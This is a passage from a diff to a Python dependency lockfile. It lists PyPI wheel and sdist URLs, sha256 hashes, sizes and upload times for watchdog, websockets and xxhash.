"sha256:76aae96b00ae814b181bb25b1b98076d5fc84e8a53cd8885a318b42b6d3a5134", size = 88451, upload-time = "2024-11-01T14:06:45.084Z" }, + { url = "https://files.pythonhosted.org/packages/fe/c4/225c87bae08c8b9ec99030cd48ae9c4eca050a59bf5c2255853e18c87b50/watchdog-6.0.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:a175f755fc2279e0b7312c0035d52e27211a5bc39719dd529625b1930917345b", size = 89057, upload-time = "2024-11-01T14:06:47.324Z" }, + { url = "https://files.pythonhosted.org/packages/30/ad/d17b5d42e28a8b91f8ed01cb949da092827afb9995d4559fd448d0472763/watchdog-6.0.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:c7ac31a19f4545dd92fc25d200694098f42c9a8e391bc00bdd362c5736dbf881", size = 87902, upload-time = "2024-11-01T14:06:53.119Z" }, + { url = "https://files.pythonhosted.org/packages/5c/ca/c3649991d140ff6ab67bfc85ab42b165ead119c9e12211e08089d763ece5/watchdog-6.0.0-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:9513f27a1a582d9808cf21a07dae516f0fab1cf2d7683a742c498b93eedabb11", size = 88380, upload-time = "2024-11-01T14:06:55.19Z" }, + { url = "https://files.pythonhosted.org/packages/a9/c7/ca4bf3e518cb57a686b2feb4f55a1892fd9a3dd13f470fca14e00f80ea36/watchdog-6.0.0-py3-none-manylinux2014_aarch64.whl", hash = "sha256:7607498efa04a3542ae3e05e64da8202e58159aa1fa4acddf7678d34a35d4f13", size = 79079, upload-time = "2024-11-01T14:06:59.472Z" }, + { url = "https://files.pythonhosted.org/packages/5c/51/d46dc9332f9a647593c947b4b88e2381c8dfc0942d15b8edc0310fa4abb1/watchdog-6.0.0-py3-none-manylinux2014_armv7l.whl", hash = "sha256:9041567ee8953024c83343288ccc458fd0a2d811d6a0fd68c4c22609e3490379", size = 79078, upload-time = "2024-11-01T14:07:01.431Z" }, + { url = "https://files.pythonhosted.org/packages/d4/57/04edbf5e169cd318d5f07b4766fee38e825d64b6913ca157ca32d1a42267/watchdog-6.0.0-py3-none-manylinux2014_i686.whl", hash = "sha256:82dc3e3143c7e38ec49d61af98d6558288c415eac98486a5c581726e0737c00e", size = 79076, upload-time = "2024-11-01T14:07:02.568Z" }, + { url = "https://files.pythonhosted.org/packages/ab/cc/da8422b300e13cb187d2203f20b9253e91058aaf7db65b74142013478e66/watchdog-6.0.0-py3-none-manylinux2014_ppc64.whl", hash = "sha256:212ac9b8bf1161dc91bd09c048048a95ca3a4c4f5e5d4a7d1b1a7d5752a7f96f", size = 79077, upload-time = "2024-11-01T14:07:03.893Z" }, + { url = "https://files.pythonhosted.org/packages/2c/3b/b8964e04ae1a025c44ba8e4291f86e97fac443bca31de8bd98d3263d2fcf/watchdog-6.0.0-py3-none-manylinux2014_ppc64le.whl", hash = "sha256:e3df4cbb9a450c6d49318f6d14f4bbc80d763fa587ba46ec86f99f9e6876bb26", size = 79078, upload-time = "2024-11-01T14:07:05.189Z" }, + { url = "https://files.pythonhosted.org/packages/62/ae/a696eb424bedff7407801c257d4b1afda455fe40821a2be430e173660e81/watchdog-6.0.0-py3-none-manylinux2014_s390x.whl", hash = "sha256:2cce7cfc2008eb51feb6aab51251fd79b85d9894e98ba847408f662b3395ca3c", size = 79077, upload-time = "2024-11-01T14:07:06.376Z" }, + { url = "https://files.pythonhosted.org/packages/b5/e8/dbf020b4d98251a9860752a094d09a65e1b436ad181faf929983f697048f/watchdog-6.0.0-py3-none-manylinux2014_x86_64.whl", hash = "sha256:20ffe5b202af80ab4266dcd3e91aae72bf2da48c0d33bdb15c66658e685e94e2", size = 79078, upload-time = "2024-11-01T14:07:07.547Z" }, + { url = "https://files.pythonhosted.org/packages/07/f6/d0e5b343768e8bcb4cda79f0f2f55051bf26177ecd5651f84c07567461cf/watchdog-6.0.0-py3-none-win32.whl", hash = "sha256:07df1fdd701c5d4c8e55ef6cf55b8f0120fe1aef7ef39a1c6fc6bc2e606d517a", size = 79065, upload-time = "2024-11-01T14:07:09.525Z" }, + { url = "https://files.pythonhosted.org/packages/db/d9/c495884c6e548fce18a8f40568ff120bc3a4b7b99813081c8ac0c936fa64/watchdog-6.0.0-py3-none-win_amd64.whl", hash = "sha256:cbafb470cf848d93b5d013e2ecb245d4aa1c8fd0504e863ccefa32445359d680", size = 79070, upload-time = "2024-11-01T14:07:10.686Z" }, + { url = "https://files.pythonhosted.org/packages/33/e8/e40370e6d74ddba47f002a32919d91310d6074130fe4e17dabcafc15cbf1/watchdog-6.0.0-py3-none-win_ia64.whl", hash = "sha256:a1914259fa9e1454315171103c6a30961236f508b9b623eae470268bbcc6a22f", size = 79067, upload-time = "2024-11-01T14:07:11.845Z" }, +] + +[[package]] +name = "websockets" +version = "15.0.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/21/e6/26d09fab466b7ca9c7737474c52be4f76a40301b08362eb2dbc19dcc16c1/websockets-15.0.1.tar.gz", hash = "sha256:82544de02076bafba038ce055ee6412d68da13ab47f0c60cab827346de828dee", size = 177016, upload-time = "2025-03-05T20:03:41.606Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/1e/da/6462a9f510c0c49837bbc9345aca92d767a56c1fb2939e1579df1e1cdcf7/websockets-15.0.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:d63efaa0cd96cf0c5fe4d581521d9fa87744540d4bc999ae6e08595a1014b45b", size = 175423, upload-time = "2025-03-05T20:01:35.363Z" }, + { url = "https://files.pythonhosted.org/packages/1c/9f/9d11c1a4eb046a9e106483b9ff69bce7ac880443f00e5ce64261b47b07e7/websockets-15.0.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:ac60e3b188ec7574cb761b08d50fcedf9d77f1530352db4eef1707fe9dee7205", size = 173080, upload-time = "2025-03-05T20:01:37.304Z" }, + { url = "https://files.pythonhosted.org/packages/d5/4f/b462242432d93ea45f297b6179c7333dd0402b855a912a04e7fc61c0d71f/websockets-15.0.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:5756779642579d902eed757b21b0164cd6fe338506a8083eb58af5c372e39d9a", size = 173329, upload-time = "2025-03-05T20:01:39.668Z" }, + { url = "https://files.pythonhosted.org/packages/6e/0c/6afa1f4644d7ed50284ac59cc70ef8abd44ccf7d45850d989ea7310538d0/websockets-15.0.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0fdfe3e2a29e4db3659dbd5bbf04560cea53dd9610273917799f1cde46aa725e", size = 182312, upload-time = "2025-03-05T20:01:41.815Z" }, + { url = "https://files.pythonhosted.org/packages/dd/d4/ffc8bd1350b229ca7a4db2a3e1c482cf87cea1baccd0ef3e72bc720caeec/websockets-15.0.1-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4c2529b320eb9e35af0fa3016c187dffb84a3ecc572bcee7c3ce302bfeba52bf", size = 181319, upload-time = "2025-03-05T20:01:43.967Z" }, + { url = "https://files.pythonhosted.org/packages/97/3a/5323a6bb94917af13bbb34009fac01e55c51dfde354f63692bf2533ffbc2/websockets-15.0.1-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ac1e5c9054fe23226fb11e05a6e630837f074174c4c2f0fe442996112a6de4fb", size = 181631, upload-time = "2025-03-05T20:01:46.104Z" }, + { url = "https://files.pythonhosted.org/packages/a6/cc/1aeb0f7cee59ef065724041bb7ed667b6ab1eeffe5141696cccec2687b66/websockets-15.0.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:5df592cd503496351d6dc14f7cdad49f268d8e618f80dce0cd5a36b93c3fc08d", size = 182016, upload-time = "2025-03-05T20:01:47.603Z" }, + { url = "https://files.pythonhosted.org/packages/79/f9/c86f8f7af208e4161a7f7e02774e9d0a81c632ae76db2ff22549e1718a51/websockets-15.0.1-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:0a34631031a8f05657e8e90903e656959234f3a04552259458aac0b0f9ae6fd9", size = 181426, upload-time = "2025-03-05T20:01:48.949Z" }, + { url = "https://files.pythonhosted.org/packages/c7/b9/828b0bc6753db905b91df6ae477c0b14a141090df64fb17f8a9d7e3516cf/websockets-15.0.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:3d00075aa65772e7ce9e990cab3ff1de702aa09be3940d1dc88d5abf1ab8a09c", size = 181360, upload-time = "2025-03-05T20:01:50.938Z" }, + { url = "https://files.pythonhosted.org/packages/89/fb/250f5533ec468ba6327055b7d98b9df056fb1ce623b8b6aaafb30b55d02e/websockets-15.0.1-cp310-cp310-win32.whl", hash = "sha256:1234d4ef35db82f5446dca8e35a7da7964d02c127b095e172e54397fb6a6c256", size = 176388, upload-time = "2025-03-05T20:01:52.213Z" }, + { url = "https://files.pythonhosted.org/packages/1c/46/aca7082012768bb98e5608f01658ff3ac8437e563eca41cf068bd5849a5e/websockets-15.0.1-cp310-cp310-win_amd64.whl", hash = "sha256:39c1fec2c11dc8d89bba6b2bf1556af381611a173ac2b511cf7231622058af41", size = 176830, upload-time = "2025-03-05T20:01:53.922Z" }, + { url = "https://files.pythonhosted.org/packages/9f/32/18fcd5919c293a398db67443acd33fde142f283853076049824fc58e6f75/websockets-15.0.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:823c248b690b2fd9303ba00c4f66cd5e2d8c3ba4aa968b2779be9532a4dad431", size = 175423, upload-time = "2025-03-05T20:01:56.276Z" }, + { url = "https://files.pythonhosted.org/packages/76/70/ba1ad96b07869275ef42e2ce21f07a5b0148936688c2baf7e4a1f60d5058/websockets-15.0.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:678999709e68425ae2593acf2e3ebcbcf2e69885a5ee78f9eb80e6e371f1bf57", size = 173082, upload-time = "2025-03-05T20:01:57.563Z" }, + { url = "https://files.pythonhosted.org/packages/86/f2/10b55821dd40eb696ce4704a87d57774696f9451108cff0d2824c97e0f97/websockets-15.0.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:d50fd1ee42388dcfb2b3676132c78116490976f1300da28eb629272d5d93e905", size = 173330, upload-time = "2025-03-05T20:01:59.063Z" }, + { url = "https://files.pythonhosted.org/packages/a5/90/1c37ae8b8a113d3daf1065222b6af61cc44102da95388ac0018fcb7d93d9/websockets-15.0.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d99e5546bf73dbad5bf3547174cd6cb8ba7273062a23808ffea025ecb1cf8562", size = 182878, upload-time = "2025-03-05T20:02:00.305Z" }, + { url = "https://files.pythonhosted.org/packages/8e/8d/96e8e288b2a41dffafb78e8904ea7367ee4f891dafc2ab8d87e2124cb3d3/websockets-15.0.1-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:66dd88c918e3287efc22409d426c8f729688d89a0c587c88971a0faa2c2f3792", size = 181883, upload-time = "2025-03-05T20:02:03.148Z" }, + { url = "https://files.pythonhosted.org/packages/93/1f/5d6dbf551766308f6f50f8baf8e9860be6182911e8106da7a7f73785f4c4/websockets-15.0.1-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8dd8327c795b3e3f219760fa603dcae1dcc148172290a8ab15158cf85a953413", size = 182252, upload-time = "2025-03-05T20:02:05.29Z" }, + { url = "https://files.pythonhosted.org/packages/d4/78/2d4fed9123e6620cbf1706c0de8a1632e1a28e7774d94346d7de1bba2ca3/websockets-15.0.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:8fdc51055e6ff4adeb88d58a11042ec9a5eae317a0a53d12c062c8a8865909e8", size = 182521, upload-time = "2025-03-05T20:02:07.458Z" }, + { url = "https://files.pythonhosted.org/packages/e7/3b/66d4c1b444dd1a9823c4a81f50231b921bab54eee2f69e70319b4e21f1ca/websockets-15.0.1-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:693f0192126df6c2327cce3baa7c06f2a117575e32ab2308f7f8216c29d9e2e3", size = 181958, upload-time = "2025-03-05T20:02:09.842Z" }, + { url = "https://files.pythonhosted.org/packages/08/ff/e9eed2ee5fed6f76fdd6032ca5cd38c57ca9661430bb3d5fb2872dc8703c/websockets-15.0.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:54479983bd5fb469c38f2f5c7e3a24f9a4e70594cd68cd1fa6b9340dadaff7cf", size = 181918, upload-time = "2025-03-05T20:02:11.968Z" }, + { url = "https://files.pythonhosted.org/packages/d8/75/994634a49b7e12532be6a42103597b71098fd25900f7437d6055ed39930a/websockets-15.0.1-cp311-cp311-win32.whl", hash = "sha256:16b6c1b3e57799b9d38427dda63edcbe4926352c47cf88588c0be4ace18dac85", size = 176388, upload-time = "2025-03-05T20:02:13.32Z" }, + { url = "https://files.pythonhosted.org/packages/98/93/e36c73f78400a65f5e236cd376713c34182e6663f6889cd45a4a04d8f203/websockets-15.0.1-cp311-cp311-win_amd64.whl", hash = "sha256:27ccee0071a0e75d22cb35849b1db43f2ecd3e161041ac1ee9d2352ddf72f065", size = 176828, upload-time = "2025-03-05T20:02:14.585Z" }, + { url = "https://files.pythonhosted.org/packages/51/6b/4545a0d843594f5d0771e86463606a3988b5a09ca5123136f8a76580dd63/websockets-15.0.1-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:3e90baa811a5d73f3ca0bcbf32064d663ed81318ab225ee4f427ad4e26e5aff3", size = 175437, upload-time = "2025-03-05T20:02:16.706Z" }, + { url = "https://files.pythonhosted.org/packages/f4/71/809a0f5f6a06522af902e0f2ea2757f71ead94610010cf570ab5c98e99ed/websockets-15.0.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:592f1a9fe869c778694f0aa806ba0374e97648ab57936f092fd9d87f8bc03665", size = 173096, upload-time = "2025-03-05T20:02:18.832Z" }, + { url = "https://files.pythonhosted.org/packages/3d/69/1a681dd6f02180916f116894181eab8b2e25b31e484c5d0eae637ec01f7c/websockets-15.0.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:0701bc3cfcb9164d04a14b149fd74be7347a530ad3bbf15ab2c678a2cd3dd9a2", size = 173332, upload-time = "2025-03-05T20:02:20.187Z" }, + { url = "https://files.pythonhosted.org/packages/a6/02/0073b3952f5bce97eafbb35757f8d0d54812b6174ed8dd952aa08429bcc3/websockets-15.0.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e8b56bdcdb4505c8078cb6c7157d9811a85790f2f2b3632c7d1462ab5783d215", size = 183152, upload-time = "2025-03-05T20:02:22.286Z" }, + { url = "https://files.pythonhosted.org/packages/74/45/c205c8480eafd114b428284840da0b1be9ffd0e4f87338dc95dc6ff961a1/websockets-15.0.1-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0af68c55afbd5f07986df82831c7bff04846928ea8d1fd7f30052638788bc9b5", size = 182096, upload-time = "2025-03-05T20:02:24.368Z" }, + { url = "https://files.pythonhosted.org/packages/14/8f/aa61f528fba38578ec553c145857a181384c72b98156f858ca5c8e82d9d3/websockets-15.0.1-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:64dee438fed052b52e4f98f76c5790513235efaa1ef7f3f2192c392cd7c91b65", size = 182523, upload-time = "2025-03-05T20:02:25.669Z" }, + { url = "https://files.pythonhosted.org/packages/ec/6d/0267396610add5bc0d0d3e77f546d4cd287200804fe02323797de77dbce9/websockets-15.0.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:d5f6b181bb38171a8ad1d6aa58a67a6aa9d4b38d0f8c5f496b9e42561dfc62fe", size = 182790, upload-time = "2025-03-05T20:02:26.99Z" }, + { url = "https://files.pythonhosted.org/packages/02/05/c68c5adbf679cf610ae2f74a9b871ae84564462955d991178f95a1ddb7dd/websockets-15.0.1-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:5d54b09eba2bada6011aea5375542a157637b91029687eb4fdb2dab11059c1b4", size = 182165, upload-time = "2025-03-05T20:02:30.291Z" }, + { url = "https://files.pythonhosted.org/packages/29/93/bb672df7b2f5faac89761cb5fa34f5cec45a4026c383a4b5761c6cea5c16/websockets-15.0.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:3be571a8b5afed347da347bfcf27ba12b069d9d7f42cb8c7028b5e98bbb12597", size = 182160, upload-time = "2025-03-05T20:02:31.634Z" }, + { url = "https://files.pythonhosted.org/packages/ff/83/de1f7709376dc3ca9b7eeb4b9a07b4526b14876b6d372a4dc62312bebee0/websockets-15.0.1-cp312-cp312-win32.whl", hash = "sha256:c338ffa0520bdb12fbc527265235639fb76e7bc7faafbb93f6ba80d9c06578a9", size = 176395, upload-time = "2025-03-05T20:02:33.017Z" }, + { url = "https://files.pythonhosted.org/packages/7d/71/abf2ebc3bbfa40f391ce1428c7168fb20582d0ff57019b69ea20fa698043/websockets-15.0.1-cp312-cp312-win_amd64.whl", hash = "sha256:fcd5cf9e305d7b8338754470cf69cf81f420459dbae8a3b40cee57417f4614a7", size = 176841, upload-time = "2025-03-05T20:02:34.498Z" }, + { url = "https://files.pythonhosted.org/packages/cb/9f/51f0cf64471a9d2b4d0fc6c534f323b664e7095640c34562f5182e5a7195/websockets-15.0.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:ee443ef070bb3b6ed74514f5efaa37a252af57c90eb33b956d35c8e9c10a1931", size = 175440, upload-time = "2025-03-05T20:02:36.695Z" }, + { url = "https://files.pythonhosted.org/packages/8a/05/aa116ec9943c718905997412c5989f7ed671bc0188ee2ba89520e8765d7b/websockets-15.0.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:5a939de6b7b4e18ca683218320fc67ea886038265fd1ed30173f5ce3f8e85675", size = 173098, upload-time = "2025-03-05T20:02:37.985Z" }, + { url = "https://files.pythonhosted.org/packages/ff/0b/33cef55ff24f2d92924923c99926dcce78e7bd922d649467f0eda8368923/websockets-15.0.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:746ee8dba912cd6fc889a8147168991d50ed70447bf18bcda7039f7d2e3d9151", size = 173329, upload-time = "2025-03-05T20:02:39.298Z" }, + { url = "https://files.pythonhosted.org/packages/31/1d/063b25dcc01faa8fada1469bdf769de3768b7044eac9d41f734fd7b6ad6d/websockets-15.0.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:595b6c3969023ecf9041b2936ac3827e4623bfa3ccf007575f04c5a6aa318c22", size = 183111, upload-time = "2025-03-05T20:02:40.595Z" }, + { url = "https://files.pythonhosted.org/packages/93/53/9a87ee494a51bf63e4ec9241c1ccc4f7c2f45fff85d5bde2ff74fcb68b9e/websockets-15.0.1-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3c714d2fc58b5ca3e285461a4cc0c9a66bd0e24c5da9911e30158286c9b5be7f", size = 182054, upload-time = "2025-03-05T20:02:41.926Z" }, + { url = "https://files.pythonhosted.org/packages/ff/b2/83a6ddf56cdcbad4e3d841fcc55d6ba7d19aeb89c50f24dd7e859ec0805f/websockets-15.0.1-cp313-cp313-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0f3c1e2ab208db911594ae5b4f79addeb3501604a165019dd221c0bdcabe4db8", size = 182496, upload-time = "2025-03-05T20:02:43.304Z" }, + { url = "https://files.pythonhosted.org/packages/98/41/e7038944ed0abf34c45aa4635ba28136f06052e08fc2168520bb8b25149f/websockets-15.0.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:229cf1d3ca6c1804400b0a9790dc66528e08a6a1feec0d5040e8b9eb14422375", size = 182829, upload-time = "2025-03-05T20:02:48.812Z" }, + { url = "https://files.pythonhosted.org/packages/e0/17/de15b6158680c7623c6ef0db361da965ab25d813ae54fcfeae2e5b9ef910/websockets-15.0.1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:756c56e867a90fb00177d530dca4b097dd753cde348448a1012ed6c5131f8b7d", size = 182217, upload-time = "2025-03-05T20:02:50.14Z" }, + { url = "https://files.pythonhosted.org/packages/33/2b/1f168cb6041853eef0362fb9554c3824367c5560cbdaad89ac40f8c2edfc/websockets-15.0.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:558d023b3df0bffe50a04e710bc87742de35060580a293c2a984299ed83bc4e4", size = 182195, upload-time = "2025-03-05T20:02:51.561Z" }, + { url = "https://files.pythonhosted.org/packages/86/eb/20b6cdf273913d0ad05a6a14aed4b9a85591c18a987a3d47f20fa13dcc47/websockets-15.0.1-cp313-cp313-win32.whl", hash = "sha256:ba9e56e8ceeeedb2e080147ba85ffcd5cd0711b89576b83784d8605a7df455fa", size = 176393, upload-time = "2025-03-05T20:02:53.814Z" }, + { url = "https://files.pythonhosted.org/packages/1b/6c/c65773d6cab416a64d191d6ee8a8b1c68a09970ea6909d16965d26bfed1e/websockets-15.0.1-cp313-cp313-win_amd64.whl", hash = "sha256:e09473f095a819042ecb2ab9465aee615bd9c2028e4ef7d933600a8401c79561", size = 176837, upload-time = "2025-03-05T20:02:55.237Z" }, + { url = "https://files.pythonhosted.org/packages/02/9e/d40f779fa16f74d3468357197af8d6ad07e7c5a27ea1ca74ceb38986f77a/websockets-15.0.1-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:0c9e74d766f2818bb95f84c25be4dea09841ac0f734d1966f415e4edfc4ef1c3", size = 173109, upload-time = "2025-03-05T20:03:17.769Z" }, + { url = "https://files.pythonhosted.org/packages/bc/cd/5b887b8585a593073fd92f7c23ecd3985cd2c3175025a91b0d69b0551372/websockets-15.0.1-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:1009ee0c7739c08a0cd59de430d6de452a55e42d6b522de7aa15e6f67db0b8e1", size = 173343, upload-time = "2025-03-05T20:03:19.094Z" }, + { url = "https://files.pythonhosted.org/packages/fe/ae/d34f7556890341e900a95acf4886833646306269f899d58ad62f588bf410/websockets-15.0.1-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:76d1f20b1c7a2fa82367e04982e708723ba0e7b8d43aa643d3dcd404d74f1475", size = 174599, upload-time = "2025-03-05T20:03:21.1Z" }, + { url = "https://files.pythonhosted.org/packages/71/e6/5fd43993a87db364ec60fc1d608273a1a465c0caba69176dd160e197ce42/websockets-15.0.1-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f29d80eb9a9263b8d109135351caf568cc3f80b9928bccde535c235de55c22d9", size = 174207, upload-time = "2025-03-05T20:03:23.221Z" }, + { url = "https://files.pythonhosted.org/packages/2b/fb/c492d6daa5ec067c2988ac80c61359ace5c4c674c532985ac5a123436cec/websockets-15.0.1-pp310-pypy310_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b359ed09954d7c18bbc1680f380c7301f92c60bf924171629c5db97febb12f04", size = 174155, upload-time = "2025-03-05T20:03:25.321Z" }, + { url = "https://files.pythonhosted.org/packages/68/a1/dcb68430b1d00b698ae7a7e0194433bce4f07ded185f0ee5fb21e2a2e91e/websockets-15.0.1-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:cad21560da69f4ce7658ca2cb83138fb4cf695a2ba3e475e0559e05991aa8122", size = 176884, upload-time = "2025-03-05T20:03:27.934Z" }, + { url = "https://files.pythonhosted.org/packages/fa/a8/5b41e0da817d64113292ab1f8247140aac61cbf6cfd085d6a0fa77f4984f/websockets-15.0.1-py3-none-any.whl", hash = "sha256:f7a866fbc1e97b5c617ee4116daaa09b722101d4a3c170c787450ba409f9736f", size = 169743, upload-time = "2025-03-05T20:03:39.41Z" }, +] + +[[package]] +name = "xxhash" +version = "3.8.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/78/ed/07e560876a4458987511461187b285071f53cde49dd5b25cd8c51091522b/xxhash-3.8.0.tar.gz", hash = "sha256:d72b2204f37840b0f16f34192c09b994b97bd25823d723d47a1eddfacf06eb43", size = 86107, upload-time = "2026-06-27T08:17:28.798Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/4f/d1/36cdfc7d9a5cdcebb2ff3eeeaebae2c51a7aca50de27a44520af4d6923fa/xxhash-3.8.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:a2289857ab90ebb2408d4ac2b7cf7e9ff29bba9d2cb21020c9d11fbbaef78eea", size = 34638, upload-time = "2026-06-27T08:12:17.753Z" }, + { url = "https://files.pythonhosted.org/packages/8e/37/f3439475537ca4c59e9b8cbc2b934672d1965b13b6e5fb32b1796c76e517/xxhash-3.8.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:d211cfa927a107df09359d1f31070883a11121ddc88fd6dd27eda3a497a88f3d", size = 32316, upload-time = "2026-06-27T08:12:19.332Z" }, + { url = "https://files.pythonhosted.org/packages/a7/3e/3878d943d9169fd8f5ad8d2bffa7dfec14430f8240ef20213772a7ef3dce/xxhash-3.8.0-cp310-cp310-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:ba02f4cc4e71e1315ecac0468189b49bf3970da05ddf0b6965b4a9b1fe147e62", size = 217379, upload-time = "2026-06-27T08:12:20.742Z" }, + { url = "https://files.pythonhosted.org/packages/af/8a/096f0bf4e4d33b5afcb27e7907d54f84ae3c581509188dca1083995aefd9/xxhash-3.8.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:342d1a6f161741f8612dc38d940ec0019ae3362c0ede2d16554c1b4e3f1d5444", size = 237734, upload-time = "2026-06-27T08:12:22.312Z" }, + { url = "https://files.pythonhosted.org/packages/0e/5b/811939d5d3fdf9b4a9cad7591759cc82c3c4734afb0138917ec3b3fc4fd5/xxhash-3.8.0-cp310-cp310-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:75feec84a48cafd3b2446cb41910bebaf9a8150e2313c1f42887435818fb7b4c", size = 262522, upload-time = "2026-06-27T08:12:23.869Z" }, + { url = "https://files.pythonhosted.org/packages/3e/e4/50e2b55b1390895214bdd9dc6a75d4c31e0283d646d2cae424962585427a/xxhash-3.8.0-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:53e8f6cc0cc24283d98e9c742a0f0a5ded7a810abc4038b9e885e419fcd44e43", size = 238441, upload-time = "2026-06-27T08:12:25.95Z" }, + { url = "https://files.pythonhosted.org/packages/4b/fa/725fbd70cc69b2738599c3e1b499941663b6ccef92aec7c78a4c9968f2d0/xxhash-3.8.0-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:73d04a4520cc7313acf4ff2122f783056d0592c71fc3a59e90fe0baeb499d124", size = 469833, upload-time = "2026-06-27T08:12:27.678Z" }, + { url = "https://files.pythonhosted.org/packages/86/e6/d80a2fcbd80f024d8e74a579aad538c5a24c6b672e6ce8180a9a8bfc2231/xxhash-3.8.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d5a7fdfde5022f5000c8e6565db954580d19a8aa497ef80875f461e4546ed182", size = 217094, upload-time = "2026-06-27T08:12:29.221Z" }, + { url = "https://files.pythonhosted.org/packages/a9/c0/6d85ebdc1e488df9e37c3a2267a8b98a936a36d968560cfb0389307fd19f/xxhash-3.8.0-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:6a667f0dd160ec0ff6dddf42f2d75ad82660074285855f6037d6ecb57d40d0f8", size = 307502, upload-time = "2026-06-27T08:12:30.782Z" }, + { url = "https://files.pythonhosted.org/packages/ca/a2/4b97a5e4fb3450fe0c4b361399f74679a491b3b0bed914bff6d00e70425f/xxhash-3.8.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:aaaf53eb633205f01bb5fb807f6244bd34af121bfb1e21eedc925374aff5723e", size = 234622, upload-time = "2026-06-27T08:12:32.075Z" }, + { url = "https://files.pythonhosted.org/packages/e7/7e/5a227460f92ec7309219730ddfb7451e09e8aa3e0704cfb0f24746686a0f/xxhash-3.8.0-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:71b2e99a02fd5275b7ecab0b01130395beed4c6f027b6ce9f0730025634e7091", size = 265697, upload-time = "2026-06-27T08:12:33.559Z" }, + { url = "https://files.pythonhosted.org/packages/4e/31/56327a7b39dd3c605034f9b51c89d66aad022aacbe12aabeb6e335652d48/xxhash-3.8.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:b25437ffd781d4cb98acef87f4bc32e27682f603ffd27ed5962948b516e777ff", size = 221932, upload-time = "2026-06-27T08:12:34.997Z" }, + { url = "https://files.pythonhosted.org/packages/41/a0/312504d1851969c62e3f2836eec5b16f3682edfae19aa60e6d69ee80d111/xxhash-3.8.0-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = 